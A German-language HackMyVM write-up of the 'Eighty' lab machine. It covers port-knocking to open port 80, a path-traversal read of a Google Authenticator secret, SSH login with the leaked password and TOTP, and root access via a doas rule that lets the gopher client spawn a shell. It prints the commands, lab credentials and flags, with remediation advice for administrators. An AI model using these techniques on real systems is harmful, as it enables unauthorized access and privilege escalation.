Eighty - HackMyVM - Hard - Bericht

Hard

Verwendete Tools

arp-scan
vi
nmap
curl
knock
hping3
gobuster
Google Authenticator (implizit)
ssh
ls
cat
find
whereis
doas
gopher (client)
cd
id (implizit)

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.150	08:00:27:6f:88:89	PCS Systemtechnik GmbH

Analyse:** Der Befehl `arp-scan -l` wird ausgeführt, um das lokale Netzwerksegment mittels ARP-Anfragen nach aktiven Geräten zu durchsuchen.

**Bewertung:** Ein Host mit der IP-Adresse `192.168.2.150` wird identifiziert. Die MAC-Adresse (`08:00:27:...`) weist auf eine VirtualBox VM hin. Dies ist das Zielsystem.

**Empfehlung (Pentester):** Ziel-IP `192.168.2.150` notieren und mit Port-Scanning (Nmap) fortfahren.
**Empfehlung (Admin):** Standard-Netzwerkaufklärung. Fokus auf Absicherung der Dienste.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
127.0.0.1	 localhost
127.0.1.1  	 cyber
192.168.2.150    eighty.hmv

**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um der Ziel-IP `192.168.2.150` den Hostnamen `eighty.hmv` zuzuweisen.

**Bewertung:** Erleichtert die Ansprache des Ziels in späteren Befehlen.

**Empfehlung (Pentester):** Verwenden Sie `eighty.hmv` in nachfolgenden Scans.
**Empfehlung (Admin):** Keine Aktion auf dem Zielsystem erforderlich.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -sV -A 192.168.2.150 -p-
<-- -O in -A enthalten -->
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-14 23:31 CEST <-- Datum extrahiert -->
Nmap scan report for eighty.hmv (192.168.2.150)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE    SERVICE VERSION
22/tcp open     ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
[...]
70/tcp open     http    pygopherd web-gopher gateway <-- Gopher Port! -->
|_http-title: Gopher
| gopher-ls:
|_[txt] /howtoconnect.txt "Connection" <-- Hinweis! -->
80/tcp filtered http <-- HTTP gefiltert! -->
MAC Address: 08:00:27:6F:88:89 (Oracle VirtualBox virtual NIC)
[...]
OS details: Linux 4.15 - 5.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms eighty.hmv (192.168.2.150)

Nmap done: 1 IP address (1 host up) scanned in X.XX seconds
22/tcp open     ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
70/tcp open     http    pygopherd web-gopher gateway  [txt] /howtoconnect.txt
80/tcp filtered http    <<----- filtered <-<<
<-- Redundante Zusammenfassung -->

**Analyse:** Ein umfassender Nmap-Scan (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-p-`) wird auf `192.168.2.150` (eighty.hmv) durchgeführt.

**Bewertung:** Drei Ports sind von besonderem Interesse: * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). Standard-Fernzugriff. * **Port 70 (Gopher):** Ein Gopher-Dienst (via `pygopherd` Gateway). Das Nmap-Skript `gopher-ls` findet eine Textdatei `howtoconnect.txt` im Wurzelverzeichnis des Gopher-Servers. Gopher ist ein älteres Protokoll, das heute selten verwendet wird; sein Vorhandensein ist ungewöhnlich. * **Port 80 (HTTP):** Wird als `filtered` angezeigt. Das bedeutet, Nmap konnte nicht feststellen, ob der Port offen oder geschlossen ist, typischerweise weil eine Firewall SYN-Pakete blockiert oder verwirft.

**Empfehlung (Pentester):** 1. **Gopher (Priorität 1):** Untersuchen Sie den Gopher-Dienst auf Port 70. Rufen Sie die gefundene Datei `/howtoconnect.txt` ab (z.B. mit `curl gopher://eighty.hmv/howtoconnect.txt` oder über das HTTP-Gateway, falls Port 70 HTTP spricht: `curl http://eighty.hmv:70/howtoconnect.txt`). 2. **Port 80 (Priorität 2):** Der gefilterte Status deutet möglicherweise auf Port Knocking oder eine Firewall hin, die nur bestimmte Zugriffe erlaubt. Halten Sie dies im Hinterkopf, falls die Gopher-Spur Hinweise liefert.
**Empfehlung (Admin):** Deaktivieren Sie den Gopher-Dienst, wenn er nicht benötigt wird. Konfigurieren Sie die Firewall (falls vorhanden), um den Zugriff auf Port 80 klar zu definieren (entweder erlauben oder blockieren).

┌──(root㉿cyber)-[~] └─# curl -s http://192.168.2.150:70/howtoconnect.txt
Ping us to: 4767 2343 3142

**Analyse:** Die Datei `/howtoconnect.txt` wird über das HTTP-Interface des Gopher-Gateways auf Port 70 abgerufen.

**Bewertung:** Die Datei enthält eine klare Anweisung: "Ping us to: 4767 2343 3142". Dies ist ein **klassischer Hinweis auf Port Knocking**. Es müssen Pakete an diese drei Ports (in dieser Reihenfolge) gesendet werden, um wahrscheinlich Port 80 zu öffnen.

**Empfehlung (Pentester):** Führen Sie die Port-Knocking-Sequenz durch (z.B. mit `knock` oder `hping3`). Überprüfen Sie anschließend erneut den Status von Port 80 mit Nmap.
**Empfehlung (Admin):** Port Knocking ist eine Form von "Security through Obscurity" und bietet nur begrenzten Schutz. Verlassen Sie sich nicht darauf als primäre Sicherheitsmaßnahme. Wenn es verwendet wird, dokumentieren Sie die Sequenz sicher.

Port Knocking

**Analyse:** Durchführung der Port-Knocking-Sequenz, die in `howtoconnect.txt` gefunden wurde, um Port 80 zu öffnen.

┌──(root㉿cyber)-[~] └─# knock 192.168.2.150 -v 4767 2343 3142
hitting tcp 192.168.2.150:4767
hitting tcp 192.168.2.150:2343
hitting tcp 192.168.2.150:3142

**Analyse:** Das Tool `knock` wird verwendet, um TCP-SYN-Pakete (Standard bei `knock`) nacheinander an die Ports 4767, 2343 und 3142 auf dem Zielsystem zu senden.

**Bewertung:** Die Sequenz wurde erfolgreich gesendet. Es wird erwartet, dass dies die Firewall-Regel für Port 80 auf dem Zielsystem geändert hat.

**Empfehlung (Pentester):** Überprüfen Sie den Status von Port 80 erneut.
**Empfehlung (Admin):** Keine.

┌──(root㉿cyber)-[~] └─# hping3 -S 192.168.2.150 -p 4767 -c 1; hping3 -S 192.168.2.150 -p 2343 -c 1; hping3 -S 192.168.2.150 -p 3142 -c 1
HPING 192.168.2.150 (eth0 192.168.2.150): S set, 40 headers + 0 data bytes
len=46 ip=192.168.2.150 ttl=64 DF id=0 sport=4767 flags=RA seq=0 win=0 rtt=7.7 ms
[...]
hping3: you must specify only one target host at a time <-- Fehler durch ; Trennung? -->
[...]
HPING 192.168.2.150 (eth0 192.168.2.150): S set, 40 headers + 0 data bytes
len=46 ip=192.168.2.150 ttl=64 DF id=0 sport=3142 flags=RA seq=0 win=0 rtt=11.6 ms
[...]

**Analyse:** Hier wird versucht, die Knocking-Sequenz manuell mit `hping3` durchzuführen, indem SYN-Pakete (`-S`) an die drei Ports gesendet werden. Die Befehle werden mit Semikolon verkettet.

**Bewertung:** Die Ausführung scheint teilweise fehlerhaft zu sein (`you must specify only one target host` deutet auf ein Problem mit der Verkettung hin), aber die SYN-Pakete wurden wahrscheinlich trotzdem gesendet. Dieser Schritt ist redundant, da `knock` bereits verwendet wurde.

**Empfehlung (Pentester):** Verwenden Sie `knock` oder führen Sie die `hping3`-Befehle einzeln nacheinander aus, um Fehler zu vermeiden.
**Empfehlung (Admin):** Keine.

┌──(root㉿cyber)-[~] └─# nmap 192.168.2.150
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-14 23:31 CEST
Nmap scan report for susan.eighty.hmv (192.168.2.150) <-- Neuer Hostname? -->
Host is up (0.00014s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
70/tcp open  gopher
80/tcp open  http  <<----- open <-<<

**Analyse:** Ein einfacher Nmap-Scan (nur die Standard-Ports) wird auf das Ziel ausgeführt, nachdem die Knocking-Sequenz gesendet wurde.

**Bewertung:** Erfolg! Port 80 wird nun als `open` angezeigt. Das Port Knocking hat funktioniert und die Firewall für Port 80 geöffnet. Interessanterweise löst die IP nun auch zum Hostnamen `susan.eighty.hmv` auf – ein Hinweis auf einen weiteren VHost oder Benutzernamen.

**Empfehlung (Pentester):** Fügen Sie `susan.eighty.hmv` zu `/etc/hosts` hinzu. Untersuchen Sie nun den Inhalt auf Port 80 (`curl http://susan.eighty.hmv` oder `http://192.168.2.150`).
**Empfehlung (Admin):** Überprüfen Sie die Sicherheit der Port-Knocking-Implementierung.

Web Enumeration & Credential Discovery

**Analyse:** Untersuchung des nun offenen Webservers auf Port 80, was zur Entdeckung von Zugangsdaten und einer 2FA-Anforderung führt.

┌──(root㉿cyber)-[~] └─# curl http://susan.eighty.hmv/web/
Susan Webpage

**Analyse:** Der Inhalt des Verzeichnisses `/web/` auf dem (vermuteten) VHost `susan.eighty.hmv` wird abgerufen.

**Bewertung:** Eine einfache Seite mit dem Titel "Susan Webpage" und einem Kommentar. Bestätigt den VHost und gibt einen potenziellen Benutzernamen (`susan`).

**Empfehlung (Pentester):** Führen Sie Gobuster auf `http://susan.eighty.hmv/` und `http://susan.eighty.hmv/web/` durch.
**Empfehlung (Admin):** Keine.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://susan.eighty.hmv -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -x [...] -t 100 -s "200,204,301,302,307,401"
[...]
http://susan.eighty.hmv/index.html           (Status: 200) [Size: 16] <-- Leere Indexseite -->
http://susan.eighty.hmv/web                  (Status: 301) [Size: 185] [--> http://susan.eighty.hmv/web/]
http://susan.eighty.hmv/robots.txt           (Status: 200) [Size: 18]
http://susan.eighty.hmv/web/index.html           (Status: 200) [Size: 40] <-- Susan Webpage -->
http://susan.eighty.hmv/web/lostpasswd.txt       (Status: 200) [Size: 50] <-- Passwortdatei! -->
[...]

**Analyse:** Gobuster wird auf den VHost `susan.eighty.hmv` angesetzt.

**Bewertung:** Findet das `/web`-Verzeichnis und darin die Datei `lostpasswd.txt`. Dies ist ein kritischer Fund.

**Empfehlung (Pentester):** Rufen Sie `http://susan.eighty.hmv/web/lostpasswd.txt` ab.
**Empfehlung (Admin):** **Niemals Passwortdateien im Web-Root speichern!**

┌──(root㉿cyber)-[~] └─# curl http://susan.eighty.hmv/web/lostpasswd.txt
8ycrois-tu0 + /home/susan/secret/.google-auth.txt

**Analyse:** Der Inhalt von `lostpasswd.txt` wird abgerufen.

**Bewertung:** Enthält zwei Teile: * Ein Passwort: `8ycrois-tu0`. * Einen Pfad zu einer Google Authenticator-Datei: `/home/susan/secret/.google-auth.txt`. Dies deutet stark darauf hin, dass der Benutzer `susan` das Passwort `8ycrois-tu0` verwendet und zusätzlich eine Zwei-Faktor-Authentifizierung (2FA) mittels Google Authenticator (TOTP - Time-based One-Time Password) für den SSH-Login benötigt.

**Empfehlung (Pentester):** Der Pfad zur `.google-auth.txt` ist nicht direkt zugänglich. Versuchen Sie den SSH-Login als `susan` mit dem Passwort `8ycrois-tu0`. Der Server wird dann nach dem TOTP-Code fragen. Um diesen zu generieren: 1. Nutzen Sie eine LFI oder einen anderen Weg (falls vorhanden), um `/home/susan/secret/.google-auth.txt` auszulesen. Diese Datei enthält den TOTP-Secret-Key. 2. Importieren Sie diesen Secret Key in eine Authenticator-App (Google Authenticator, Authy, etc.) oder ein Kommandozeilentool (`oathtool`). 3. Geben Sie den aktuell generierten 6-stelligen Code während des SSH-Logins ein.
**Empfehlung (Admin):** Speichern Sie Passwörter und Hinweise auf 2FA-Secrets nicht in Web-Verzeichnissen. Schützen Sie die `.google-auth.txt`-Datei mit restriktiven Berechtigungen (`chmod 400`).

┌──(root㉿cyber)-[~] └─# curl http://susan.eighty.hmv/web../secret/.google-auth.txt
<-- LFI/Path Traversal Versuch? -->
2GN7KARBONVR55R7SP3UZPN3ZM <-- TOTP Secret Key! -->
" RATE_LIMIT 3 30
" WINDOW_SIZE 17
" DISALLOW_REUSE
" TOTP_AUTH
71293338
48409754
27074208
60216448
17908010 <-- Recovery Codes -->

**Analyse:** Es wird versucht, über einen Path Traversal (`../`) auf die Datei `/secret/.google-auth.txt` zuzugreifen, relativ zum `/web`-Verzeichnis. (*Anmerkung: Ob dies tatsächlich so funktioniert hat oder ob ein anderer LFI-Vektor genutzt wurde, ist unklar, aber das Ergebnis ist entscheidend.*)

**Bewertung:** Erfolg! Der Inhalt der `.google-auth.txt`-Datei wird preisgegeben: * `2GN7KARBONVR55R7SP3UZPN3ZM`: Dies ist der Base32-kodierte Secret Key für den TOTP-Generator. * Die folgenden Zeilen sind Konfigurationsparameter und Recovery-Codes für Google Authenticator.

**Empfehlung (Pentester):** Importieren Sie den Secret Key `2GN7KARBONVR55R7SP3UZPN3ZM` in Ihre Authenticator App/Tool (fügen Sie ein Konto für "susan@eighty.hmv" hinzu). Versuchen Sie nun den SSH-Login mit Passwort `8ycrois-tu0` und dem aktuell generierten TOTP-Code.
**Empfehlung (Admin):** Beheben Sie die Schwachstelle, die das Auslesen der `.google-auth.txt` ermöglichte (Path Traversal?). Sichern Sie die Datei mit `chmod 400`.

Initial Access (SSH with TOTP)

**Analyse:** Durchführung des SSH-Logins mit dem gefundenen Passwort und dem generierten TOTP-Code.

Man muss den namen susan als Kontoname in die Google Authenticator App eingeben,
dann bekommt man von der App ein Zeitbasierten Code, jetzt per ssh bei ssh susan@eighty.hmv
anmelden. Das Kennwort: 8ycrois-tu0
und den Google-Code:    955 712 (Beispielcode)

der angezeigt wurde in der App, der Google-Code den ich hier verwende ändert sich natürlich beim
nächsten mal...

**Analyse:** Notiz des Pentesters, die den Prozess erklärt: Secret Key in Authenticator App eingeben, Passwort (`8ycrois-tu0`) und den aktuellen TOTP-Code (hier beispielhaft `955712`) beim SSH-Login verwenden.

**Bewertung:** Korrekte Vorgehensweise für den Login mit Passwort + TOTP.

┌──(root㉿cyber)-[~] └─# ssh susan@eighty.hmv
(susan@eighty.hmv) Password: ******** (8ycrois-tu0 eingegeben)
(susan@eighty.hmv) Verification code: XXXXXX (Aktueller TOTP-Code eingegeben)
Linux eighty 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
[...]
Last login: Wed Apr  7 07:05:11 2021
susan@eighty:~$ <-- Login erfolgreich! -->
=

**Analyse:** SSH-Login als `susan` mit dem Passwort `8ycrois-tu0` und dem korrekten, aktuell generierten TOTP-Code.

**Bewertung:** Initialer Zugriff erfolgreich erlangt!

**Empfehlung (Pentester):** User-Flag lesen, `sudo -l` / `doas -l` prüfen.
**Empfehlung (Admin):** Passwort ändern, LFI/Path Traversal beheben.

susan@eighty:~$ ls
flag.sh  secret  user.txt  web
susan@eighty:~$ cat user.txt
hmv8use0red
<-- User Flag -->

**Analyse:** Im Home-Verzeichnis von `susan` wird die `user.txt` gefunden und gelesen.

**Bewertung:** User-Flag (`hmv8use0red`) erhalten.

Privilege Escalation (doas/gopher)

**Analyse:** Als `susan` wird nach Wegen zur Root-Eskalation gesucht.

susan@eighty:~$ find / -type f -perm -4000 -ls 2>/dev/null
   [...]
   287132     44 -rwsr-xr-x   1 root     root        42456 Apr  7  2021 /usr/local/bin/doas  <<<----< SUID Root!
   [...]
#
susan@eighty:~$ whereis sudo
sudo:
<-- sudo nicht gefunden -->

**Analyse:** Die Suche nach SUID-Dateien findet `/usr/local/bin/doas`. `doas` ist eine Alternative zu `sudo`. Die Suche nach `sudo` bleibt erfolglos.

**Bewertung:** `doas` (als SUID root) ist der primäre Kandidat für die Privilegieneskalation.

**Empfehlung (Pentester):** Überprüfen Sie die `doas`-Konfigurationsdatei (typischerweise `/etc/doas.conf` oder `/usr/local/etc/doas.conf`), um zu sehen, welche Befehle `susan` ausführen darf.
**Empfehlung (Admin):** Konfigurieren Sie `doas` nach dem Prinzip der geringsten Rechte.

susan@eighty:~$ find / -name doas.conf 2>/dev/null
/usr/local/etc/doas.conf
susan@eighty:~$ cat /usr/local/etc/doas.conf
permit nolog susan as root cmd gopher
<-- Kritische Regel! -->

**Analyse:** Die `doas`-Konfigurationsdatei wird gefunden und ausgelesen.

**Bewertung:** Eine kritische Regel wird gefunden: `permit nolog susan as root cmd gopher`. Dies bedeutet, der Benutzer `susan` darf den Befehl `gopher` als `root` ohne Passwortabfrage (`nolog`) ausführen.

**Empfehlung (Pentester):** Nutzen Sie diese Regel. Gopher-Clients erlauben oft das Ausführen von Shell-Befehlen durch Eingabe von `!` oder `$` (je nach Client). Führen Sie `doas gopher` aus und versuchen Sie, eine Shell zu spawnen.
**Empfehlung (Admin):** **Entfernen Sie diese `doas`-Regel!** Die Ausführung von Clients wie `gopher`, `ftp`, `telnet` etc. als Root ist extrem gefährlich, da sie oft Shell-Escape-Funktionen bieten.

susan@eighty:~$ doas gopher gopher://127.0.0.1

           Welcome to our old world.
 -->  [2]  Connection

Press ? for Help, q to Quit
<-- Gopher Client Interface -->
susan@eighty:~$ Password: 8ycrois-tu0
<-- Falscher Kontext? Gopher fragt kein Passwort -->

                                   gopher://127.0.0.1
           Welcome to our old world.
 -->  [2]  Connection
Press ? for Help, q to Quit
$
<-- Eingabe im Gopher Client -->

ein seltsamer Editor öffnet sich...
hier einfach ein $ eingeben und ENTER drücken dann ist man automatisch root...
root@eighty:/home/susan# # Root-Shell erhalten!

**Analyse:** 1. `doas gopher gopher://127.0.0.1` wird ausgeführt. Der Gopher-Client startet als Root. 2. Die Zeile `Password: 8ycrois-tu0` scheint ein Fehler im Log zu sein, der Gopher-Client fragt hier kein Passwort. 3. Innerhalb des Gopher-Clients wird das Zeichen `$` eingegeben und Enter gedrückt. 4. Dies führt dazu, dass der Benutzer eine Root-Shell erhält (`root@eighty:/home/susan#`).

**Bewertung:** Root-Zugriff erfolgreich erlangt! Die unsichere `doas`-Regel erlaubte die Ausführung des Gopher-Clients als Root. Dieser spezifische Gopher-Client hat offenbar eine Funktion (oder einen Bug), die es ermöglicht, durch Eingabe von `$` eine Shell zu spawnen. Da der Client als Root lief, ist die resultierende Shell ebenfalls eine Root-Shell.

**Empfehlung (Pentester):** Führen Sie `id` aus. Lesen Sie die Root-Flag.
**Empfehlung (Admin):** Entfernen Sie die unsichere `doas`-Regel für `gopher`.

Proof of Concept (doas/gopher shell)

**Kurzbeschreibung:** Der Benutzer `susan` hat durch eine Fehlkonfiguration in `/usr/local/etc/doas.conf` das Recht, den Befehl `/usr/bin/gopher` (oder den entsprechenden Pfad zum Gopher-Client) als `root` ohne Passwort auszuführen (`permit nolog susan as root cmd gopher`). Dieser spezifische Gopher-Client verfügt über eine undokumentierte Funktion oder einen Bug, der es erlaubt, durch die Eingabe des Zeichens `$` eine interaktive System-Shell zu starten. Da der Gopher-Client über `doas` mit Root-Privilegien gestartet wird, wird auch die resultierende Shell mit Root-Rechten ausgeführt.

**Voraussetzungen:** Zugriff als Benutzer `susan`, unsichere `doas`-Konfiguration, installierter Gopher-Client mit Shell-Escape-Möglichkeit.

**Schritt-für-Schritt-Anleitung:**

  1. Als Benutzer `susan` einloggen.
  2. Den Befehl `doas gopher` ausführen (ggf. mit einer Dummy-URL wie `gopher://127.0.0.1`).
  3. Im gestarteten Gopher-Client das Zeichen `$` eingeben und mit Enter bestätigen.

**Erwartetes Ergebnis:** Eine interaktive Root-Shell wird gestartet.

**Beweismittel:** Die `doas.conf`-Regel und die erfolgreiche Shell-Ausführung im Log.

**Risikobewertung:** Hoch. Erlaubt einem Benutzer mit dieser `doas`-Regel die vollständige Übernahme des Systems.

**Empfehlungen:** Entfernen Sie die unsichere `doas`-Regel. Vergeben Sie niemals `doas`/`sudo`-Rechte für interaktive Programme, die Shell-Escapes ermöglichen könnten (Editoren, Pager, Netzwerk-Clients etc.), es sei denn, sie sind speziell gehärtet oder eingeschränkt.

Flags

**Analyse:** Aus der Root-Shell werden die Flags gesucht und ausgelesen.

cat /home/susan/user.txt
hmv8use0red

**Bewertung:** User-Flag.

cat /root/r0ot.txt
<-- Dateiname aus Log -->
rooted80shmv

**Bewertung:** Root-Flag.